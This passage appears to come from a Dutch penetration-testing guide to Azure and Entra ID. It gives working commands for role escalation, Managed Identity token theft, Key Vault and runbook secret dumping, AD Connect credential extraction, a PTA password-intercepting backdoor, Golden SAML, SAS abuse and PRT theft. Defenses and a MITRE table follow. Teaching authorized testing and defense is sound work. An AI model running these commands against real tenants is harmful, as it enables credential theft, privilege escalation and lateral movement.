Gevaarlijke permissions in custom roles:
| Permission | Risico |
|---|---|
Microsoft.Authorization/roleAssignments/write |
Kan zichzelf of anderen rollen toewijzen |
*/write |
Wildcard write op alle resource types |
Microsoft.Compute/virtualMachines/runCommand/action |
Command execution op VMs |
Microsoft.KeyVault/vaults/secrets/getSecret/action |
Secrets lezen uit Key Vaults |
Microsoft.Storage/storageAccounts/listkeys/action |
Storage account keys ophalen |
Microsoft.Web/sites/publishxml/action |
Publish credentials van App Services |
Microsoft.Compute/virtualMachines/extensions/write |
Extensions installeren op VMs |
# Zoek naar custom roles met gevaarlijke permissions
az role definition list --custom-role-only true --query "[].{Name:roleName,Actions:permissions[0].actions}" -o json | \
python3 -c "
import sys,json
roles = json.load(sys.stdin)
dangerous = ['roleAssignments/write', '*/write', 'runCommand', 'listkeys', 'getSecret']
for r in roles:
for action in r.get('Actions', []):
if any(d in action for d in dangerous):
print(f\"[!] {r['Name']}: {action}\")
"4.5.3 Subscription-Level Privilege Escalation
De meest directe escalatie: als je
Microsoft.Authorization/roleAssignments/write hebt op
subscription-scope, kun je jezelf Owner maken.
# Stap 1: Controleer of je roleAssignments mag schrijven
az role assignment list --assignee "$(az ad signed-in-user show --query id -o tsv)" \
--all --query "[?roleDefinitionName=='User Access Administrator' || roleDefinitionName=='Owner']" -o table
# Stap 2: Maak jezelf Owner (als je User Access Administrator bent)
az role assignment create \
--assignee "$(az ad signed-in-user show --query id -o tsv)" \
--role "Owner" \
--scope "/subscriptions/SUBSCRIPTION_ID"
# Stap 3: Verifieer
az role assignment list --assignee "$(az ad signed-in-user show --query id -o tsv)" \
--role "Owner" --all -o table4.5.4 Resource Group Escalatie
Rechten op een resource group geven impliciet rechten op alle
resources erin. Als je Contributor bent op een resource
group die een Key Vault bevat, kun je de access policies van die Key
Vault wijzigen om jezelf leesrechten te geven.
# Resources in een resource group
az resource list --resource-group "TARGET_RG" --output table
# Als je Contributor bent op de RG die een Key Vault bevat:
# Stap 1: Voeg jezelf toe aan de Key Vault access policy
az keyvault set-policy \
--name "vault-naam" \
--upn "jouw@email.com" \
--secret-permissions get list \
--key-permissions get list \
--certificate-permissions get list
# Stap 2: Lees de secrets (zie sectie 4.7)
az keyvault secret list --vault-name "vault-naam" -o table4.6 Managed Identity Exploitation
4.6.1 De Onzichtbare Sleutel
Managed Identities zijn Azure’s oplossing voor “credentials in code.” Het idee is simpel: in plaats van een wachtwoord of API-key in een configuratiebestand of environment variable te plaatsen, wijst Azure automatisch een identiteit toe aan een compute resource. Die resource kan dan tokens aanvragen bij Azure AD zonder credentials.
Het is een goed idee. Het is zelfs een best practice. Het probleem is dat “geen credentials nodig” ook geldt voor een aanvaller die command execution heeft op die resource.
4.6.2 Het IMDS Endpoint
De Instance Metadata Service (IMDS) is bereikbaar op
169.254.169.254 — een link-local adres dat alleen
beschikbaar is vanuit de Azure resource zelf. Het biedt metadata over de
VM en, cruciaal, de mogelijkheid om tokens op te vragen voor de Managed
Identity.
# Token opvragen voor Azure Resource Manager
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | \
python3 -m json.tool
# Token opvragen voor Microsoft Graph
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" | \
python3 -m json.tool
# Token opvragen voor Key Vault
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" | \
python3 -m json.tool
# Token opvragen voor Azure Storage
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" | \
python3 -m json.toolHet Metadata: true header is de enige “beveiliging” —
het voorkomt dat SSRF-aanvallen vanuit de browser het endpoint bereiken
(browsers sturen die header niet standaard). Maar vanuit een command
shell? Geen probleem.
4.6.3 Azure VM Token Theft
Scenario: je hebt command execution op een Azure VM (via een webapplicatie-exploit, gestolen SSH-key, of compromised credentials). De VM heeft een Managed Identity.
# Stap 1: Controleer of er een Managed Identity is
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01" | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(json.dumps(d.get('compute',{}).get('azEnvironment',''), indent=2))"
# Stap 2: Verkrijg een token
TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | \
python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
# Stap 3: Gebruik het token om te enumereren
# Welke subscriptions kan deze identity bereiken?
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | \
python3 -m json.tool
# Welke resources?
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/SUB_ID/resources?api-version=2021-04-01" | \
python3 -m json.tool
# Welke role assignments heeft deze identity?
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/SUB_ID/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId eq 'IDENTITY_OBJECT_ID'" | \
python3 -m json.tool4.6.4 App Service Identity
Azure App Services (web apps, API apps, function apps) ondersteunen ook Managed Identities, maar het IMDS-endpoint is iets anders:
# App Service gebruikt een environment variable voor het endpoint
echo $IDENTITY_ENDPOINT
echo $IDENTITY_HEADER
# Token opvragen in een App Service
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/" | \
python3 -m json.tool
# Graph token
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://graph.microsoft.com/" | \
python3 -m json.tool4.6.5 Azure Functions Identity
Azure Functions gebruiken hetzelfde mechanisme als App Services. Als je code execution hebt in een Function (via event injection, een kwetsbare dependency, of directe toegang):
# Zelfde als App Service
TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/" | \
python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
# Functies hebben vaak brede permissions voor hun taken
# Controleer wat je kunt doen
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | \
python3 -m json.toolIB Tip: Managed Identity tokens hebben een standaard levensduur van 8-24 uur. Als je een token hebt verkregen, bewaar het — je kunt het herhaaldelijk gebruiken vanaf je eigen machine totdat het verloopt. Azure ziet het token als afkomstig van de Managed Identity, niet van jouw IP.
4.6.6 Van Managed Identity naar Lateral Movement
Het echte gevaar van Managed Identity-misbruik is niet het token zelf, maar wat je ermee kunt doen:
# Met een ARM token: command execution op andere VMs
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"https://management.azure.com/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Compute/virtualMachines/TARGET_VM/runCommand?api-version=2023-03-01" \
-d '{
"commandId": "RunShellScript",
"script": ["whoami; id; cat /etc/hostname"]
}'
# Met een Graph token: directory enumeratie
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/users?\$top=50" | \
python3 -m json.tool
# Met een Key Vault token: secrets lezen
curl -s -H "Authorization: Bearer $TOKEN" \
"https://VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | \
python3 -m json.toolHet patroon is altijd hetzelfde: compromitteer een resource, steel het Managed Identity-token, en gebruik dat token om lateraal te bewegen naar andere resources. Het is Pass-the-Hash voor de cloud.
4.7 Key Vault Aanvallen
4.7.1 De Digitale Kluis
Azure Key Vault is waar organisaties hun geheimen bewaren: API-keys, connection strings, certificaten, encryptiesleutels. Het is de kluis van de bank. En net als bij een echte bank geldt: de kluis is zo veilig als de personen die de sleutel hebben.
4.7.2 Key Vault Enumeratie
# Alle Key Vaults in je subscriptions
az keyvault list --output table
# Details van een specifieke vault
az keyvault show --name "vault-naam" --output json
# Access policies bekijken (wie mag wat?)
az keyvault show --name "vault-naam" \
--query "properties.accessPolicies[].{ObjectId:objectId,Permissions:permissions}" -o json
# Of, als de vault RBAC gebruikt in plaats van access policies:
az role assignment list --scope "/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.KeyVault/vaults/vault-naam" -o table4.7.3 Access Policies versus RBAC
Key Vault ondersteunt twee autorisatiemodellen:
| Model | Beschrijving | Pentest-relevantie |
|---|---|---|
| Access Policies | Vault-specifieke permissions per principal | Vaak te breed geconfigureerd |
| Azure RBAC | Standaard Azure role assignments | Erft van resource group/subscription |
Het verschil is belangrijk. Bij access policies moet je expliciet
worden toegevoegd aan de vault. Bij RBAC kan een
Contributor op de resource group zichzelf toegang geven
door een role assignment te creëren.
4.7.4 Secret, Key en Certificate Extraction
# Secrets opsommen
az keyvault secret list --vault-name "vault-naam" --output table
# Een secret ophalen
az keyvault secret show --vault-name "vault-naam" --name "secret-naam" --query value -o tsv
# Alle secrets ophalen (een voor een)
for secret in $(az keyvault secret list --vault-name "vault-naam" --query "[].name" -o tsv); do
echo "=== $secret ==="
az keyvault secret show --vault-name "vault-naam" --name "$secret" --query value -o tsv
echo
done
# Keys opsommen
az keyvault key list --vault-name "vault-naam" --output table
# Certificaten opsommen
az keyvault certificate list --vault-name "vault-naam" --output table
# Certificate met private key downloaden
az keyvault secret show --vault-name "vault-naam" --name "cert-naam" --query value -o tsv | \
base64 -d > cert.pfxDe secrets in een Key Vault zijn vaak de kroonjuwelen: database connection strings, API-keys voor externe diensten, service account-wachtwoorden, TLS-certificaten met private keys.
Let op: Key Vault access wordt gelogd in Azure Diagnostic Logs (als deze zijn ingeschakeld). Elke
getoperatie op een secret genereert een audit event. In een volwassen omgeving wordt dit gemonitord. Wees selectief in wat je ophaalt en documenteer alles voor je rapport.
4.7.5 Soft-Delete en Purge Protection
Verwijderde Key Vault-items worden standaard 90 dagen bewaard (soft-delete). Soms bevatten verwijderde secrets waardevolle informatie die de organisatie “verwijderd” denkt te hebben.
# Verwijderde secrets bekijken
az keyvault secret list-deleted --vault-name "vault-naam" --output table
# Verwijderd secret ophalen
az keyvault secret show-deleted --vault-name "vault-naam" --name "oud-secret" --query value -o tsv
# Verwijderde vaults in de subscription
az keyvault list-deleted --output tableNiemand denkt aan soft-deleted secrets. Het is alsof je je dagboek verscheurt en in de prullenbak gooit, maar vergeet dat de prullenbak pas over drie maanden wordt geleegd. En de schoonmaker kan lezen.
4.8 Azure AD Connect
4.8.1 De Brug Tussen Twee Werelden
Azure AD Connect is het synchronisatiemechanisme tussen on-premises Active Directory en Entra ID. Het is de brug die de twee werelden verbindt, en bruggen zijn altijd interessante punten voor aanvallers — ze zijn smal, onvermijdelijk, en het verkeer erop is waardevol.
Er zijn drie synchronisatiemethoden:
| Methode | Beschrijving | Aanvalspotentieel |
|---|---|---|
| Password Hash Sync (PHS) | Wachtwoord-hashes worden gesynchroniseerd naar Azure AD | Credential theft van het sync-account |
| Pass-through Authentication (PTA) | Authenticatie wordt doorgestuurd naar on-prem DC | Man-in-the-middle op de PTA-agent |
| Federation (ADFS) | SAML-tokens via een on-prem ADFS-server | Token signing certificate theft |
4.8.2 Password Hash Sync Abuse
PHS is de meest voorkomende methode. Een service account op de on-premises DC (de Azure AD Connect-server) heeft replicatie-rechten — het kan wachtwoord-hashes ophalen via een mechanisme vergelijkbaar met DCSync. Die hashes worden vervolgens gesynchroniseerd naar Entra ID.
Het Azure AD Connect-service account is een high-value target:
# Op de Azure AD Connect server:
# Stap 1: Identificeer de sync server
# (vaak een standalone server met de naam AADC, SYNC, of CONNECT)
# Stap 2: Credentials extraheren met AADInternals
Install-Module AADInternals
Import-Module AADInternals
# Sync credentials ophalen (vereist local admin op de AADC-server)
Get-AADIntSyncCredentials[+] Sync Account:
Username: Sync_SERVER_abc123@domain.onmicrosoft.com
Password: <base64-encoded>
Domain: domain.onmicrosoft.com
[+] AD DS Account:
Username: MSOL_abc123def456
Password: <cleartext password>
Domain: domain.local
Dat MSOL_-account heeft Directory
Replication rechten op de on-premises AD. Met dat account kun
je een DCSync uitvoeren:
# DCSync met het MSOL-account
impacket-secretsdump 'domain.local/MSOL_abc123def456:PASSWORD@DC_IP'En het Sync-account heeft rechten om wachtwoorden te resetten in Entra ID. Dat maakt het een brug in twee richtingen: van cloud naar on-prem (via DCSync) en van on-prem naar cloud (via password reset).
4.8.3 Pass-through Authentication Abuse
PTA werkt anders: in plaats van hashes te synchroniseren, wordt elke cloud-authenticatie doorgestuurd naar een on-premises PTA-agent die het wachtwoord valideert tegen de lokale AD.
Het probleem: als je de PTA-agent comprimitteert, kun je alle authenticaties onderscheppen:
# Op de PTA-agent server (vereist local admin):
Install-Module AADInternals
Import-Module AADInternals
# PTA-agent backdoor installeren
# DIT INTERCEPTEERT ALLE WACHTWOORDEN
Install-AADIntPTASpy
# Wachtwoorden lezen
Get-AADIntPTASpyLogDit is een van de krachtigste posities die een aanvaller kan hebben: elke cloud-login wordt in cleartext gelogd. Elke. Login.
Let op: Een PTA-spy is een ingrijpende techniek. Het intercepteert productie-authenticatie. Gebruik dit alleen in een geautoriseerde pentest met expliciete toestemming voor dit type aanval, en documenteer precies wat je doet. Verwijder de spy onmiddellijk na het bewijs.
4.8.4 Federation Abuse
Bij federation (ADFS) authenticeren gebruikers via een on-premises ADFS-server die SAML-tokens uitgeeft. Als je het token signing certificate van de ADFS-server kunt stelen, kun je SAML-tokens forgen voor elke gebruiker — inclusief Global Admins. Dit is de “Golden SAML” aanval.
# Op de ADFS-server (vereist local admin):
# Token signing certificate exporteren
# Methode 1: Via AADInternals
Export-AADIntADFSSigningCertificate
# Methode 2: Via ADFSDump
.\ADFSDump.exe
# Met het certificaat: Golden SAML genereren
# (Meestal via AADInternals of custom tooling)Het verschil met een Golden Ticket in on-premises AD: een Golden SAML geeft je toegang tot de cloud-omgeving. En omdat het token on-premises wordt gemaakt, is er geen spoor in Entra ID van hoe de authenticatie heeft plaatsgevonden.
4.9 Automation en Runbooks
4.9.1 De Robot-Afdeling
Azure Automation is Microsoft’s dienst voor het automatiseren van beheertaken. Denk aan: geplande scripts die VM’s ’s avonds uitzetten, compliance-checks die dagelijks draaien, patching-runbooks die maandelijks worden uitgevoerd.
Vanuit pentest-perspectief zijn Automation Accounts interessant om drie redenen:
- Runbooks bevatten vaak credentials — hardcoded wachtwoorden, connection strings, API-keys
- Run As accounts (deprecated maar nog veel in gebruik) hebben vaak brede RBAC-rechten
- Hybrid Runbook Workers draaien on-premises met hoge privileges
4.9.2 Automation Account Enumeratie
# Automation Accounts vinden
az automation account list --output table
# Runbooks in een Automation Account
az automation runbook list \
--automation-account-name "account-naam" \
--resource-group "rg-naam" --output table
# Runbook content ophalen (de broncode!)
az automation runbook show-content \
--automation-account-name "account-naam" \
--resource-group "rg-naam" \
--name "runbook-naam"4.9.3 Runbook Secrets
Automation Accounts hebben een “Variables” en “Credentials” sectie waar gevoelige waarden worden opgeslagen:
# Variables ophalen
az rest --method GET \
--uri "https://management.azure.com/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Automation/automationAccounts/ACCOUNT/variables?api-version=2023-11-01" | \
python3 -m json.tool
# Encrypted variables zijn alleen leesbaar vanuit een runbook
# Maar cleartext variables kun je direct lezen
# Credentials ophalen (alleen de username, niet het wachtwoord)
az rest --method GET \
--uri "https://management.azure.com/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Automation/automationAccounts/ACCOUNT/credentials?api-version=2023-11-01" | \
python3 -m json.toolOm de daadwerkelijke wachtwoorden uit credentials te halen, moet je een runbook uitvoeren dat ze leest:
# Maak een runbook dat credentials dumpt (vereist write-rechten op het Automation Account)
$RunbookContent = @'
$cred = Get-AutomationPSCredential -Name "ServiceAccount"
Write-Output "Username: $($cred.UserName)"
Write-Output "Password: $($cred.GetNetworkCredential().Password)"
$var = Get-AutomationVariable -Name "DatabaseConnectionString"
Write-Output "ConnectionString: $var"
'@# Runbook aanmaken en uitvoeren via CLI
az automation runbook create \
--automation-account-name "account-naam" \
--resource-group "rg-naam" \
--name "debug-runbook" \
--type PowerShell
# Content uploaden
az automation runbook replace-content \
--automation-account-name "account-naam" \
--resource-group "rg-naam" \
--name "debug-runbook" \
--content "$RUNBOOK_CONTENT"
# Publiceren en starten
az automation runbook publish \
--automation-account-name "account-naam" \
--resource-group "rg-naam" \
--name "debug-runbook"
az automation runbook start \
--automation-account-name "account-naam" \
--resource-group "rg-naam" \
--name "debug-runbook"4.9.4 Hybrid Workers
Hybrid Runbook Workers zijn on-premises machines die zijn gekoppeld aan een Azure Automation Account. Runbooks die op een Hybrid Worker draaien, draaien met de rechten van het lokale service account — vaak LocalSystem of een hoog-geprivilegieerd domain account.
Als je een runbook kunt maken en uitvoeren op een Hybrid Worker, heb je command execution op een on-premises machine met hoge privileges. Dit is een klassiek cloud-naar-on-prem lateral movement pad.
# Hybrid Worker Groups vinden
az rest --method GET \
--uri "https://management.azure.com/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Automation/automationAccounts/ACCOUNT/hybridRunbookWorkerGroups?api-version=2022-08-08" | \
python3 -m json.tool4.10 Storage Account Aanvallen
4.10.1 De Opslagplaats
Azure Storage Accounts zijn de bouwstenen van dataopslag in Azure: blobs (bestanden), queues (berichten), tables (NoSQL), en files (SMB shares). Ze bevatten vaak gevoelige data: backups, logs, uploads, exports, database dumps.
4.10.2 Storage Account Enumeratie
# Alle storage accounts
az storage account list --output table
# Containers in een storage account (public access check)
az storage container list --account-name "ACCOUNT_NAME" \
--auth-mode login --output table
# Public blobs checken (geen authenticatie nodig)
curl -s "https://ACCOUNT_NAME.blob.core.windows.net/CONTAINER_NAME?restype=container&comp=list" | \
python3 -c "import sys; from xml.etree import ElementTree as ET; \
tree = ET.parse(sys.stdin); [print(b.find('Name').text) for b in tree.findall('.//Blob')]"
# Blob inhoud downloaden
az storage blob download \
--account-name "ACCOUNT_NAME" \
--container-name "CONTAINER_NAME" \
--name "bestand.txt" \
--file ./bestand.txt \
--auth-mode login4.10.3 SAS Token Abuse
Shared Access Signatures (SAS) zijn tokens die tijdelijke, beperkte toegang geven tot storage resources. Ze worden als URL-parameters meegegeven:
https://account.blob.core.windows.net/container/file.txt?
sv=2021-06-08& # API versie
ss=b& # Service (b=blob)
srt=co& # Resource type (c=container, o=object)
sp=rwdlacx& # Permissions (r=read, w=write, d=delete...)
se=2027-01-01& # Expiry
st=2025-01-01& # Start
sig=SIGNATURE # HMAC-SHA256 handtekening
Het probleem met SAS tokens:
- Ze zijn niet intrekbaar — er is geen manier om een SAS token te revowen behalve de storage account key te roteren (wat alle SAS tokens breekt)
- Ze staan vaak in broncode — hardcoded in configuratiebestanden, environment variables, git repositories
- De permissions zijn vaak te breed —
sp=rwdlacxis volledige controle - De vervaldatum is vaak te ver weg — tokens die “voor het gemak” vijf jaar geldig zijn gemaakt
# Zoek naar SAS tokens in omgevingsvariabelen
env | grep -i "sig=" 2>/dev/null
env | grep -i "sas" 2>/dev/null
# Zoek in configuratiebestanden
find / -name "*.config" -o -name "*.json" -o -name "appsettings.*" 2>/dev/null | \
xargs grep -l "sig=" 2>/dev/null
# Als je een SAS token hebt, test de permissions
# Download
curl -s "https://account.blob.core.windows.net/container/file.txt?SAS_TOKEN" -o file.txt
# Upload (als write-permissie is ingesteld)
curl -X PUT "https://account.blob.core.windows.net/container/evil.txt?SAS_TOKEN" \
-H "x-ms-blob-type: BlockBlob" \
-d "test data"
# List blobs
curl -s "https://account.blob.core.windows.net/container?restype=container&comp=list&SAS_TOKEN"4.10.4 Shared Key Authentication
Elke storage account heeft twee access keys die volledige controle geven over alle data in het account. Deze keys worden niet geroteerd door een password policy en verlopen niet.
# Storage account keys ophalen (vereist listkeys permission)
az storage account keys list --account-name "ACCOUNT_NAME" --output table
# Met de key: alle containers opsommen
az storage container list --account-name "ACCOUNT_NAME" \
--account-key "KEY" --output table
# Alle blobs in een container
az storage blob list --account-name "ACCOUNT_NAME" \
--container-name "CONTAINER" \
--account-key "KEY" --output table
# Blob downloaden
az storage blob download \
--account-name "ACCOUNT_NAME" \
--container-name "CONTAINER" \
--name "gevoelig-bestand.bak" \
--file ./gevoelig-bestand.bak \
--account-key "KEY"IB Tip: Storage account keys zijn het equivalent van het
krbtgt-wachtwoord in on-premises AD — wie ze heeft, heeft alles. Documenteer in je rapport altijd of keys zijn geroteerd en of Shared Key-authenticatie is uitgeschakeld ten gunste van Entra ID (RBAC) authenticatie.
4.10.5 Public Blob Access
Ondanks jarenlange waarschuwingen staan er nog steeds storage accounts open op het internet. Microsoft heeft in 2023 de standaard gewijzigd naar “geen publieke toegang,” maar bestaande accounts behouden hun configuratie.
# Controleer of publieke blob-toegang is toegestaan
az storage account list --query "[].{Name:name,PublicAccess:allowBlobPublicAccess}" -o table
# Brute-force containernamen op een publiek storage account
for container in backup backups data files uploads logs exports dump database; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"https://TARGET_ACCOUNT.blob.core.windows.net/$container?restype=container&comp=list")
[ "$STATUS" -eq 200 ] && echo "[+] Public container: $container"
done4.11 Hybrid Identity Paden
4.11.1 De Twee-Richtingssnelweg
In de meeste enterprise-omgevingen is er geen duidelijke grens tussen on-premises en cloud. Gebruikers bestaan in beide werelden. Credentials worden gesynchroniseerd. Rechten overlappen. Dit creëert aanvalspaden die in beide richtingen werken:
On-premises naar Cloud: - Azure AD Connect credentials → Cloud admin access - PTA agent compromise → Wachtwoord-interceptie - ADFS token signing certificate → Golden SAML - On-prem admin → Global Admin (via elevated access)
Cloud naar On-premises: - Cloud admin → Azure AD Connect password reset → DCSync - Intune admin → Code execution op managed devices - Hybrid Worker runbooks → On-prem command execution - Azure Arc → Code execution op connected servers
4.11.2 Seamless SSO Abuse
Azure AD Seamless SSO maakt het mogelijk om automatisch in te loggen
op cloud-resources als je al bent ingelogd op een domain-joined machine.
Het werkt via een computeraccount AZUREADSSOACC in
on-premises AD.
Dit account heeft een Kerberos decryptie-key die wordt gebruikt om Kerberos-tickets voor Azure AD te verifiëren. Als je die key steelt, kun je tickets forgen voor elke gebruiker:
# Op een DC of met DCSync rechten:
# Dump de hash van het AZUREADSSOACC account
mimikatz # lsadump::dcsync /user:AZUREADSSOACC$ /domain:domain.local
# Of via Impacket
impacket-secretsdump 'domain.local/admin:Password@DC_IP' -just-dc-user 'AZUREADSSOACC$'Met de NTLM-hash van AZUREADSSOACC$ kun je Silver
Tickets maken die gelden voor Azure AD. Dit is in wezen een Golden
Ticket voor de cloud.
4.11.3 PRT Extraction
Primary Refresh Tokens worden opgeslagen op Azure AD-joined en hybrid-joined devices. Met local admin access op zo’n device kun je het PRT extraheren:
# Met Mimikatz (vereist SYSTEM-rechten)
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
# Met ROADtoken (minder invasief)
.\ROADtoken.exe
# PRT gebruiken met ROADtools
roadrecon auth --prt-cookie "EXTRACTED_PRT_COOKIE"
roadrecon gatherEen gestolen PRT met MFA-claims is bijzonder waardevol: het bypast MFA voor alle toekomstige authenticaties, omdat het token bewijst dat MFA al is uitgevoerd. Het is het verschil tussen een dagkaart voor het OV (je hoeft niet bij elke halte opnieuw in te checken) en een losse kaartje (elke keer betalen).
4.11.4 Escalatiepaden Samengevat
┌───────────────────────────────────────────────────────────────┐
│ On-Premises AD │
│ │
│ Domain Admin ──> Azure AD Connect ──> MSOL Account │
│ │ │ │ │
│ │ │ ▼ │
│ │ │ DCSync (alle hashes) │
│ │ │ │
│ │ ▼ │
│ │ Sync Account ──────────────────┐ │
│ │ │ │
│ ▼ ▼ │
│ AZUREADSSOACC$ ──> Silver Ticket Cloud Admin Access │
│ (Seamless SSO) voor Azure AD │
│ │
│ ADFS Server ──> Token Signing Cert ──> Golden SAML │
│ │
└───────────────────────┬───────────────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────────────────┐
│ Entra ID (Cloud) │
│ │
│ Global Admin ──> elevateAccess ──> Owner alle subscriptions │
│ │ │
│ ├──> Intune ──> Code execution op managed devices │
│ │ │
│ ├──> Automation ──> Hybrid Workers ──> On-prem code exec│
│ │ │
│ └──> Azure Arc ──> Connected servers ──> On-prem access │
│ │
│ App Registration ──> Service Principal ──> RBAC abuse │
│ │
│ Managed Identity ──> Token theft ──> Lateral movement │
│ │
└───────────────────────────────────────────────────────────────┘
Verdedigingsmaatregelen
Conditional Access
Conditional Access is de belangrijkste verdedigingslaag in Entra ID. Een goed geconfigureerd Conditional Access-beleid maakt veel van de aanvallen in dit hoofdstuk onmogelijk of significant moeilijker.
Essentiële policies:
| Policy | Beschrijving | Welke aanval het mitigeert |
|---|---|---|
| MFA voor alle gebruikers | Vereist MFA voor elke authenticatie | Password spraying |
| Block legacy auth | Blokkeer IMAP, POP3, SMTP AUTH, etc. | MFA bypass via legacy protocols |
| Block device code flow | Blokkeer de device authorization flow | Device code phishing |
| Require compliant device | Alleen beheerde devices | Token theft vanaf onbeheerde devices |
| Block risky sign-ins | Blokkeer bij “high” risico-score | Diverse |
| Named locations | Beperk tot vertrouwde IP-ranges | Brute force vanuit onbekende locaties |
| Require app protection | Vereist Intune-managed apps | Data exfiltratie via onbeheerde apps |
# Audit: alle Conditional Access policies ophalen
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" | \
python3 -c "
import sys,json
policies = json.load(sys.stdin).get('value',[])
for p in policies:
state = p.get('state','unknown')
name = p.get('displayName','')
print(f'[{state.upper():8}] {name}')
"Privileged Identity Management (PIM)
PIM implementeert just-in-time privileged access: rollen zijn niet permanent toegewezen, maar moeten worden geactiveerd wanneer ze nodig zijn. Activering vereist een justificatie en kan MFA en goedkeuring vereisen.
PIM vermindert het aanvalsoppervlak door: - Minder permanent actieve Global Admins - Tijdgebonden rolactivering (max 8 uur standaard) - Audit trail van rolactivering - MFA-vereiste bij activering (zelfs als de sessie al MFA heeft)
Workload Identity Federation
Workload Identity Federation is de opvolger van client secrets voor app registrations. In plaats van een geheim dat gestolen kan worden, gebruikt het een federatieve vertrouwensrelatie met een externe identity provider. Geen secret, geen risk van secret leakage.
# Controleer of er nog apps zijn met client secrets (die zouden moeten migreren)
az ad app list --query "[?passwordCredentials[0]!=null].{App:displayName,Created:passwordCredentials[0].startDateTime,Expires:passwordCredentials[0].endDateTime}" -o tableOverige Aanbevelingen
| Maatregel | Beschrijving |
|---|---|
| Disable user consent | Voorkom illicit consent grant attacks |
| Enable audit logging | Azure AD sign-in logs + audit logs naar SIEM |
| Rotate storage keys | Automatische rotatie via Key Vault |
| Disable public blob access | Op subscription-level afdwingen |
| Monitor Managed Identity usage | Anomaliedetectie op token-aanvragen |
| Azure AD Connect hardening | Dedicated server, beperkte admin-toegang |
| PRT protection | Token protection (Windows 11+) |
Referentietabel
| Onderwerp | Techniek | Tool | MITRE ATT&CK | Moeilijkheid |
|---|---|---|---|---|
| Tenant enumeratie | Unauthenticated recon | curl, browser | T1589 (Gather Victim Identity Information) | Laag |
| Directory enumeratie | Authenticated user enum | az cli, ROADtools, Graph API | T1087.004 (Cloud Account Discovery) | Laag |
| Password spraying | Credential Access | MSOLSpray | T1110.003 (Password Spraying) | Laag |
| MFA bypass (legacy auth) | Legacy protocol abuse | curl, Thunderbird | T1078.004 (Cloud Accounts) | Gemiddeld |
| Device code phishing | OAuth device flow abuse | Python, TokenTactics | T1528 (Steal Application Access Token) | Gemiddeld |
| Consent grant attack | Illicit OAuth consent | Custom app registration | T1528 (Steal Application Access Token) | Gemiddeld |
| Conditional Access bypass | Policy gap exploitation | roadrecon, Graph API | T1078.004 (Cloud Accounts) | Hoog |
| RBAC escalation | Role assignment abuse | az cli | T1098.003 (Additional Cloud Roles) | Gemiddeld |
| Custom role abuse | Overprivileged custom roles | az cli | T1098.003 (Additional Cloud Roles) | Gemiddeld |
| Managed Identity token theft | IMDS token extraction | curl | T1552.005 (Cloud Instance Metadata API) | Gemiddeld |
| Key Vault secrets | Secret/key/cert extraction | az cli | T1552.001 (Credentials in Files) | Gemiddeld |
| Storage account abuse | SAS token / shared key | az cli, curl | T1530 (Data from Cloud Storage) | Laag-Gemiddeld |
| Azure AD Connect (PHS) | Sync credential extraction | AADInternals | T1003.006 (DCSync) | Hoog |
| Azure AD Connect (PTA) | Authentication interception | AADInternals | T1557 (Adversary-in-the-Middle) | Hoog |
| Golden SAML | ADFS cert theft + token forge | ADFSDump, AADInternals | T1606.002 (SAML Tokens) | Hoog |
| Seamless SSO abuse | AZUREADSSOACC$ hash theft | Mimikatz, Impacket | T1558.003 (Kerberoasting) | Hoog |
| PRT extraction | Primary Refresh Token theft | Mimikatz, ROADtoken | T1528 (Steal Application Access Token) | Hoog |
| Automation runbook abuse | Credential dump via runbook | az cli | T1078.004 (Cloud Accounts) | Gemiddeld |
| Hybrid Worker exploitation | On-prem code execution | az cli | T1059 (Command and Scripting Interpreter) | Hoog |
| Global Admin escalation | elevateAccess API | az rest | T1098.003 (Additional Cloud Roles) | Laag (als je GA bent) |
In het volgende hoofdstuk verlaten we de Azure-wereld en betreden we het territorium van Google — een plek waar alles draait om projecten, service accounts, en het onuitputtelijke vertrouwen dat Google heeft in zijn eigen infrastructuur. Spoiler: dat vertrouwen is niet altijd gerechtvaardigd.